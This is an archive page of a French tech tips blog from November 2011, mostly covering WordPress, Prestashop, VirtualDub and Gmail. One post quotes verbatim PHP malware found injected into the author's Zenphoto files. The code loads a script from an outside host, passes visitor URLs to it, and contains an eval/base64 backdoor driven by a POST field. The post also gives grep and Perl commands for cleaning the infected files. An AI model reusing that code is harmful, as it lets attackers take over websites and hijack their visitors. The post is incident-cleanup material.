Archive for novembre, 2011

30-11-2011

Perl search replace recursive folder and regex

perl, chercher remplacer des chaines de façon récursif avec utilisation des expressions régulières

perl -pi -w -e ‘s/regex/replace/g;’ `find ./ -name ‘*.php’`

Les méta-caractères sont à échapper avec \
Liste

^
$
.
*
+
?
|
(
)
[
]
{
}
\

http://www.cs.tut.fi/~jkorpela/perl/regexp.html

Mon exemple pour supprimer du code malicieux détecté ce matin !

Attention faites des tests/sauvegardes avant toute modif, je ne suis pas responsable de vos erreurs de manips…

perl -pi -w -e 's/global \$sessdt_o. if\(!\$sessdt_o\).*\)\)\);exit;\} \}//g;' `find ./ -name '*.php'`

30-11-2011

Hack turnitupnow plugin zenphoto …

global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11";

Et oui une faille de sécurité provenant d’un plugin Zenphoto… Tiny_MCE exactement, existant sur certains plugins wordpress aussi:

global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if(!@$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } } else { if($_COOKIE[$sessdt_k]=="102") { $sessdt_f = (rand(1000,9000)+1); if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } $sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); echo "<script src='$sessdt_u'></script>"; echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; } } $sessdt_p = "showimg"; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));exit;} 

}

Conséquences.
- Tous vos fichiers php de votre serveur se voient rajouter un code malicieux
- Création de fichier tmp_… infectés

Solutions:

- supprimer l’extension Tiny_MCE de votre répertoire zenphoto
- éditer tous les fichiers php infectés pour retirer les codes (la galère)

Vous croyez vraiment que je vais éditer les milliers de fichiers !!

Et ben non, un petit mélange de perl regex et de find et hop !!

Code utiles

//on trouve les fichiers infectés
root@…:/home# grep -R turnitupnow * | more

//les fichiers tmp_…
updatedb
locate tmp_*

Liens
http://www.zenphoto.org/trac/ticket/2005
http://stackoverflow.com/questions/8068871/got-hacked-anyone-know-what-this-php-code-does

25-11-2011

Gmail, accusé de réception suite

Confirmations de lecture / accusé de réception

Je vous ai dis sur mon précédent post qu’il n’était pas possible d’avoir la fonction la fonction d’accusé de réception sur gmail …

Et bien cette option est existante pour les comptes Google Apps for Business et Google Apps for Government, pour les autres comptes non.

Les administrateurs Google Apps peuvent se rendre sur leur tableau de bord pour activer les accusés de réception pour leur domaine

Pour activer les accusés de réception, connectez vous à votre tableau de bord d’administration de votre domaine Google Apps. ==> configuration des emails ==> Email read receipts

Liens:
aide à l’activation de confirmation de lecture
http://googleenterprise.blogspot.com/2011/07/keep-tabs-on-your-email-with-read.html
http://googleappsupdates.blogspot.com/2011/07/want-to-keep-tabs-on-that-email-you.html
http://www.goopilation.com/2011/07/google-apps-gardez-oeil-sur-vos-mails-avec-les-accuses-de-reception-gmail.html

25-11-2011

Gmail, accusé de réception ?

Avoir une notification / un accusé de réception quand vous envoyez un mail sur gmail?

Ben la fonction n’existe pas … il faut la suggérer et attendre, bof bof

https://mail.google.com/support/bin/static.py?page=suggestions.cs&issue=116876&bucket=16937

24-11-2011

Ubuntu installer GD

Librairie d’image GD

apt-get install php5-gd

24-11-2011

VirtualDub 1.9.11 ouvrir un wmv

Ouvrir un fichier windows media video (wmv) avec VirtualDub

- Créer un fichier avec notepad (menu executer saisissez notepad)
- Saisir le texte suivant en donnant le lien de votre wmv

#ASYNTHER DirectShowSource
DirectShowSource('C:\video.wmv')

- enregistrer votre fichier avec une extension avs, exemple video.avs
- ouvrir avec VirtualDub

Voilà

Nb:fonctionne avec MOV er RM

24-11-2011

VirtualDub 1.9.11 redimensionner vidéo

Pour redimensionner votre vidéo, il faut utiliser un filtre

Menu Video => Filters (Ctrl + F)
=> Add…
choisir null resize puis ok
fixez vos dimensions Absolute puis ok

Il suffit ensuite de choisir votre compression (Video=>Compression) et enregistrer en avi (File =>Save as avi)

24-11-2011

VirtualDub 1.9.11 recadrage – crop vidéo

Pour recadrer (crop, cropping) avec VirtualDub v 1.9.11, il suffit d’ajouter un filtre

Menu Video => Filters (Ctrl + F)
=> Add
choisir null transform puis ok
cliquer sur Cropping
Faites votre recadrage avec les zones X1, X2, Y1, Y2
Il suffit ensuite de choisir votre compression (Video=>Compression) et enregistrer en avi (File =>Save as avi)
Voilà !

23-11-2011

WordPress, insérer une page dynamiquement

Astuce / Exemple avec un fichier se situant dans le dossier wp-admin.php

wp-admin/test-insert.php

<?php
require_once( dirname( dirname( __FILE__ ) ) . '/wp-config.php' );
require_once( dirname( dirname( __FILE__ ) ) . '/wp-load.php' );
require_once(dirname(dirname(__FILE__)) . '/wp-includes/wp-db.php');

$now = date('Y-m-d H:i:s');
$now_gmt = gmdate('Y-m-d H:i:s');

 $wpdb->insert( $wpdb->posts, array(
							'post_author' => 1,
							'post_date' => $now,
							'post_date_gmt' => $now_gmt,
							'post_content' => "le texte de la page",
							'post_title' => __('titre-page'),
							'post_name' => __('titre-page'),
							'post_modified' => $now,
							'post_modified_gmt' => $now_gmt,
							'post_type' => 'page',
							));
$wp_rewrite->flush_rules();
?>

11-11-2011

Editeur logiciel assurance vie

SYRAVIE est un éditeur de logiciel pour assurance vie, destinés aux sociétés d’assurance.

Logivie est utilisé par différentes compagnies ou mutuelles d’assurance, caisses de retraite, délégataires de gestion en France et à l’international.

http://www.syravie.com/

Ceci est un test de référencement …

08-11-2011

Prestashop module, Récupérer la valeur d’une variable

Pour assigner une valeur à une variable sur le moteur smarty de prestashop on utilise le code suivant:

Fichier php du module

$smarty->assign('var1','la valeur');

On affiche le résultat dans le tpl

<h1>{$var1}</h1>

Si vous voulez récupérer dans votre fichier php du module une valeur déjà assignéé voici le code à utiliser

$smarty->get_template_vars('var1');

c’est pratique pour récupérer les variables comme page_name par exemple qui est déclarée dans la classe FrontController …

08-11-2011

Prestashop gsitemap, retirer les pages cms

Pour générer le sitemap sur prestashop on utilise le module gsitemap (qu’il faut bien sur activer si ce n’est pas encore fait…).

Ensuite vous générez la sitemap dans la configuration du module….

Il se peut que vous ne vouliez pas afficher certaines pages dans cette sitemap pour améliorer le référencement ou cacher des informations.

Dans ce cas il faut commenter certaines lignes du module gsitemap

modules=>gsitemap=>gsitemap.php

		/* CMS Generator */
		// if (Configuration::get('GSITEMAP_ALL_CMS') OR !Module::isInstalled('blockcms'))
			// $sql_cms = '
			// SELECT DISTINCT '.(Configuration::get('PS_REWRITING_SETTINGS') ? 'cl.id_cms, cl.link_rewrite, cl.id_lang' : 'cl.id_cms').
			// ' FROM '._DB_PREFIX_.'cms_lang cl
			// LEFT JOIN '._DB_PREFIX_.'lang l ON (cl.id_lang = l.id_lang)
			// WHERE l.`active` = 1
			// ORDER BY cl.id_cms, cl.id_lang ASC';
		// elseif (Module::isInstalled('blockcms'))
			// $sql_cms = '
			// SELECT DISTINCT '.(Configuration::get('PS_REWRITING_SETTINGS') ? 'cl.id_cms, cl.link_rewrite, cl.id_lang' : 'cl.id_cms').
			// ' FROM '._DB_PREFIX_.'cms_block_page b
			// LEFT JOIN '._DB_PREFIX_.'cms_lang cl ON (b.id_cms = cl.id_cms)
			// LEFT JOIN '._DB_PREFIX_.'lang l ON (cl.id_lang = l.id_lang)
			// WHERE l.`active` = 1
			// ORDER BY cl.id_cms, cl.id_lang ASC';

		// $cmss = Db::getInstance(_PS_USE_SQL_SLAVE_)->ExecuteS($sql_cms);
		// foreach($cmss AS $cms)
		// {
			// $tmpLink = Configuration::get('PS_REWRITING_SETTINGS') ? $link->getCMSLink((int)$cms['id_cms'], $cms['link_rewrite'], false, (int)$cms['id_lang']) : $link->getCMSLink((int)$cms['id_cms']);
			// $this->_addSitemapNode($xml, $tmpLink, '0.8', 'daily');
		// }

08-11-2011

Prestashop 1.4.5 liste des catégories pour module

Lors de la création d’un module, vous lui affectez une catégorie dans laquelle vous pouvez activer ce module.

ex pour affecter la catégorie front office:

$this->tab = 'front_office_features';

Voiçi donc la liste des catégories disponible

administration
advertising_marketing
analytics_stats
billing_invoicing
checkout
content_management
export
front_office_features
i18n_localization
merchandizing
migration_tools
payments_gateways
payment_security
pricing_promotion
quick_bulk_update
search_filter
seo
shipping_logistics
slideshows
smart_shopping
social_networks

08-11-2011

Prestashop 1.4.5… mettre les numéros de tel sur une ligne

Mettre les numéros de téléphone fixe et portable sur une seule ligne, page mes adresses des étapes du panier

Fichier order-address.tpl

1 on n’affiche pas le champ phone_mobile
2 quand c’est le champ phone, on affiche phone et phone_mobile

function appendAddressList(dest_comp, values, fields_name)
{ldelim}
	for (var item in fields_name)
	{ldelim}
		var name = fields_name[item];
		var value = getFieldValue(name, values);
		if (value != "" && name != 'phone_mobile')
		{ldelim}
			var new_li = document.createElement('li');
			new_li.className = 'address_'+ name;
			new_li.innerHTML = getFieldValue(name, values);
			dest_comp.append(new_li);
		{rdelim}
	{rdelim}
{rdelim}
function getFieldValue(field_name, values)
{ldelim}
	if(field_name == 'phone')
	{ldelim}
		field_name = "phone phone_mobile"
		if(values["phone"] == '')
		{ldelim}
			return values["phone_mobile"];
		{rdelim}
		else if(values["phone_mobile"] == '')
		{ldelim}
			return values["phone"];
		{rdelim}
		else
		{ldelim}
			return values["phone"] + " / " + values["phone_mobile"];
		{rdelim}
	{rdelim}
	var reg=new RegExp("[ ]+", "g");

	var items = field_name.split(reg);
	var vals = new Array();

	for (var field_item in items)
		vals.push(values[items[field_item]]);
	return vals.join(" ");
{rdelim}

03-11-2011

Javascript modifier les propriétés css d’une div

Afficher ou cacher un div sur un click …

<script language="JavaScript">
	function show_hide_div(nomdiv){
		var lediv = document.getElementById(nomdiv);
		if(lediv.style.display=="block")
			lediv.style.display="none";
		else
			lediv.style.display="block";
	}
</script>
<input type="checkbox" onClick="show_hide_div('id1')"/>
<div id="id1" style= "width:300px;height:100px;background:yellow" ></div>

02-11-2011

Le programme Flash.exe a cessé d’interagir avec Windows

Le programme Flash.exe version 11.0.0.485 a cessé d’interagir avec Windows et a été fermé. …

Nom d’événement : AppHangB1
Réponse : Non disponible
Signature du problème :
P1 : Flash.exe

Observateur d’évènements:

Nom d’événement : AppHangTransient
Réponse : Non disponible
Signature du problème :
P1 : Flash.exe

Bon bon, la seule solution a été de relancer l’installation de flash (sans suppression au préalable).
Je ne connais pas encore la raison de ce plantage.

01-11-2011

WordPress 3.2 éditer le menu bar

Vous voulez modifier le menu d’administration de wordpress? version 3.2.*

Fichier wp-include/class-wp-admin-bar.php
Trouver la fonction add_menus()

function add_menus() {

vous pouvez commenter les ensemble de menus pour les cacher …
exemple

if ( !is_network_admin() && !is_user_admin() ) {
	add_action( 'admin_bar_menu', 'wp_admin_bar_new_content_menu', 40 );
	//add_action( 'admin_bar_menu', 'wp_admin_bar_comments_menu', 50 );
	//add_action( 'admin_bar_menu', 'wp_admin_bar_appearance_menu', 60 );
}

Si vous voulez aller plus loin et modifier le contenu des ensembles alors jetez un coup d’oeil au fichier wp-includes/admin-bar.php
Exemple pour enlever l’option editer mon profil

fonction à trouver

function wp_admin_bar_my_account_menu( $wp_admin_bar ) {

ligne à commenter

//$wp_admin_bar->add_menu( array( 'id' => 'edit-profile', 'parent' => $id, 'title' => __( 'Edit My Profile' ), 'href' => get_edit_profile_url( $user_id ) ) );

pour l’ajout de fonctions ça se passera dans un autre post…

2 Commentaires

01-11-2011

wordpress 3.2.* retirer les widgets de l’admin

Pour désactiver / cacher / supprimer les widgets du tableau de bord (dashboard) de l’admin wordpress.

fichier /wp-admin/index.php, trouver

<?php  wp_dashboard(); ?>

commenter ou supprimer

<?php // wp_dashboard(); ?>